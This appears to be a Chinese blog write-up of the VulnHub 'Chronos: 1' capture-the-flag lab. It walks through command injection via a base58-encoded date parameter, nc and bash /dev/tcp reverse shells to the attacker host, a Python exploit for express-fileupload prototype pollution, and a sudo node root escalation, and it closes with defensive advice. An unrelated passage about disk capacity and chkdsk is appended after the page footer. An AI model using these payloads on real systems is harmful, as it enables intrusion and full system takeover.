VulnHub-Chronos: 1

一、打靶准备

靶机地址:Chronos: 1 ~ VulnHub

靶机:chronos一台,使用VirualBox,网络是Host-Only

攻击机kali:ip是192.168.56.104,网络是vmnet0

物理机windows10.

打靶目标:取得2个flag+root权限

二、打靶流程

1.主机发现

使用 arp-scan 工具,进行探针扫描

由此可以断定,靶机的ip:192.168.56.101

2.端口扫描

使用masscan工具扫描,发现靶机开放了22、80、8000端口

 

3.服务扫描

一旦端口打开,可以使用NMAP进行服务扫描。扫描结果显示,22端口是SSH服务,80端口是运行在Ubuntu系统上的Apache开放的HTTP服务,而8000端口是基于Node.js的Express框架开放的HTTP服务。

 

 

4.WEB探针和数据分析

既然我们的目标有web服务,那么可以从网站找突破口

ip访问是192.168.56.101:80

查看源码,发现有着一段JS代码

 

整理一下发现有一个链接

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

 

基于之前的信息探针和最新发现的链接,可以推测"chronos.local:8000"是靶机上开放的8000端口。为了访问该端口,可以修改本地的hosts文件。

 

ping一下检查配置文件是否生效

生效之后重新加载192.168.56.101:80发现页面的确发生了变化

 

 

用BurpSuite抓包看一下过程,发现有一个请求和上面JS代码发现的请求是一样的

去分析发送请求的数据(像 base64),使用到 cyberchef 的一个 magic 模块

 

 

分析出这个数据是个 base58,并且解码成'+Today is %A, %B %d, %Y %H:%M:%S.'

5.RCE注入(数据加密解密)

看到解码的信息,很像是 linux 的 date 命令

 

发现和80端口的返回信息一样

在 Burp Suite 里进一步验证,将刚才的数据包的参数信息修改,重新发送,服务端没有任何返回

 

那么可以知道 80 端口的页面变化信息是由 format 后面的数据结合服务段的 date 命令进行返回的

6.反弹SHELL

检查目标有没有nc工具。

&& ls /bin

39JyvVr3FjbwAV(加密后)

在Kali端启动监听,并通过加密的方式传入参数到shell。

&& nc 192.168.56.104 4444

加密后GMKWwmxeCKrzqcoDwLeaRS6LtNAxfgCPE3

 

在经过尝试后发现,尽管无法成功实现加密传入参数,但终端之间可以成功建立连接。考虑到这一情况,我将尝试通过添加"-e"参数或者考虑使用nc(netcat)进行串联来达到目标。

 

在之前的尝试中,我注意到目标主机上存在bash。因此,我先尝试使用"-e"参数来建立连接,但遗憾的是并没有成功。我会继续探索其他方法,例如尝试使用nc(netcat)进行串联,以达到成功连接的目标。

 && nc 192.168.56.104 4444 -e /bin/bash

6eK5JFNT7CahVhdM6iDKHY4Q4b7WQfMP1GY8RgMVWgab8dSFVF5h(加密后)

 经过进一步尝试,我注意到终端无法侦听到任何连接。从这个情况可以初步判断靶机上的netcat版本可能不支持"-e"参数。我会调整策略,寻找其他方法来建立连接。

7.NC串联

最终,我决定尝试使用nc进行串联。我在Kali端设置好监听,并将要传入的参数使用base58编码以增加安全性。我计划使用BurpSuite来重新发送经过编码的数据,以期望成功建立连接。

 && nc 192.168.56.104 4444 | /bin/bash | nc 192.168.56.104 5555

3Gho48Ayo8ZTkKBJiuZV9GykBLVhewkwmqZdydZ65zaR5vhudkCVu33hYrQJodtZPe72ZQcCMzcmQtvFNKq4g   ---加密后的

4444端口输入命令,5555端口执行输出,已经成功的进入了

 

8.内网信息收集

检查passwd文件后,注意到存在一个名为imera的用户。成功登录后,发现有一个名为user.txt的文件,很可能包含着目标flag。

发现只有imera可以访问,尝试使用常见的三种提权方式提权:

基于内核漏洞提权、

SUID权限配置问题、

sudo配置漏洞。

 

可是这三种方法全都无效,只能再进行信息收集

网站根目录下存放js文件,在前面信息收集时扫出的网站是用Node.js的框架

 

通过对JavaScript代码进行审计,未找到有用信息。但可以观察到先前利用的命令注入漏洞是由于仅做了简单的检查而未进行过滤造成的。

继续收集信息发现,在/opt/chronos-v2/backend目录有一个server.js文件

 

9.JavaScript代码审计

server.js文件内容如下:

 

对代码进行分析:

1.代码使用了express框架,这是一个流行的Node.js Web应用程序框架。

2.虽然代码使用了express-fileupload中间件来处理文件上传,但没有对文件类型进行验证和限制。

3.代码设置了ejs作为视图引擎,并指定了视图文件的路径为/opt/chronos-v2/frontend/pages。

4.当前代码只定义了一个GET路由处理程序,当访问根路径时,会渲染名为index的视图。

5.代码创建了一个HTTP服务器,并监听在地址127.0.0.1的8080端口上,由此可见可能存在一个内部地址,且端口号是8080

Node.js有一个框架是express-fileupload,这个框架有一个漏洞,但是需要打开parseNested,上面的server.js文件显示已经打开,即此漏洞可以直接利用获得shell。

10.框架漏洞利用

在kali攻击机编写exp.py利用代码,并开启http服务

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.104/4444 0>&1"'

# pollute

requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command

requests.get('http://127.0.0.1:8080')

 

 

 

 

切换至/tmp目录,并下载了来自Kali端的exp.py文件。

在Kali主机上,启动了对4444端口的侦听。运行exp.py后,成功地建立了连接。

查看相关信息发现是imera用户,发现第一个flag

 

 

成功获取到第一个flag

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

11.本地提权

 

发现自己没有root权限,所以当前在普通权限,获取的第一个flag是低权限的。

进一步尝试看看是否存在通过sudo提权。

 

发现可以通过Java反弹shell获取root权限

(ALL) NOPASSWD: /usr/local/bin/node *

搜索"相关Java反弹shell"找到一段代码

 sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

在Kali主机上开始监听后,通过imera用户执行之前的代码,成功获得了root权限。

 

进入/root目录后发现root.txt文件,找到第二个flag

 

 

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

至此,2个flag+root权限全部完成!

12.将获取的flag解码

两个flag分别是:

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

解码后分别是

o chronos pernaei file mou

apopse siopi mazeuoume oneira

是古希腊语言,翻译后的大概意思是:

o chronos pernaei file mou - 时间过得真快,我的朋友

apopse siopi mazeuoume oneira - 今晚我们将在月色中一起追逐梦想

三、安全防范

做完该实验,该靶机存在一些安全隐患,针对这些隐患,我认为应该要做好以下几点防御措施:

(1)关闭不必要的端口:只开放实际需要的端口,减少攻击面。

(2)使用防火墙:设置防火墙规则,限制入站和出站流量,只允许必要的网络流量通过。

(3)避免直接使用用户输入:在代码中对用户输入进行严格的验证和过滤,以防止命令注入等攻击。

(4)隔离上传目录:将上传的文件存储在一个独立的、与 Web 根目录隔离的目录中,以防止恶意文件被直接执行。

(5)将不同的服务或系统隔离开来,限制网络攻击的传播。

 (6)对系统进行定期的安全审计,发现并修复潜在的问题。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
感谢您提供的更多细节。根据您提供的信息,磁盘D的容量不匹配可能是由于镜像文件或文件夹的大小与实际磁盘容量不一致引起的。您可以尝试以下解决方案来解决这个问题: 1. 检查文件大小:首先确认您的镜像文件或文件夹的大小是否与磁盘D的容量不匹配。您可以右键单击文件夹或文件,选择“属性”来查看其大小。如果文件夹或文件的大小与磁盘容量不相符,可能是因为存在其他隐藏文件、错误的文件路径或者磁盘损坏等原因。 2. 清理磁盘空间:如果确认文件大小与磁盘D的容量不匹配,您可以尝试清理磁盘空间以释放一些空间。您可以使用系统自带的磁盘清理工具,或者手动删除一些不需要的文件和程序来释放空间。 3. 检查磁盘错误:如果清理磁盘空间后问题仍然存在,您可以尝试检查磁盘错误。在Windows系统中,您可以打开命令提示符并以管理员身份运行命令`chkdsk D: /f /r`,其中D代表磁盘D。这个命令将扫描并修复磁盘上的错误。 4. 重新分配空间:如果以上方法都无法解决问题,您可以考虑重新分配磁盘空间。这可以通过调整磁盘分区大小或者重新分配空间来实现。请注意,在执行此操作之前,请务必备份重要数据以防止数据丢失。 请根据您的具体情况选择适合的解决方案,并确保在操作前备份重要数据。如果问题仍然存在,建议您咨询专业技术人员或操作系统厂商的支持团队,以获取更进一步的帮助和支持。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值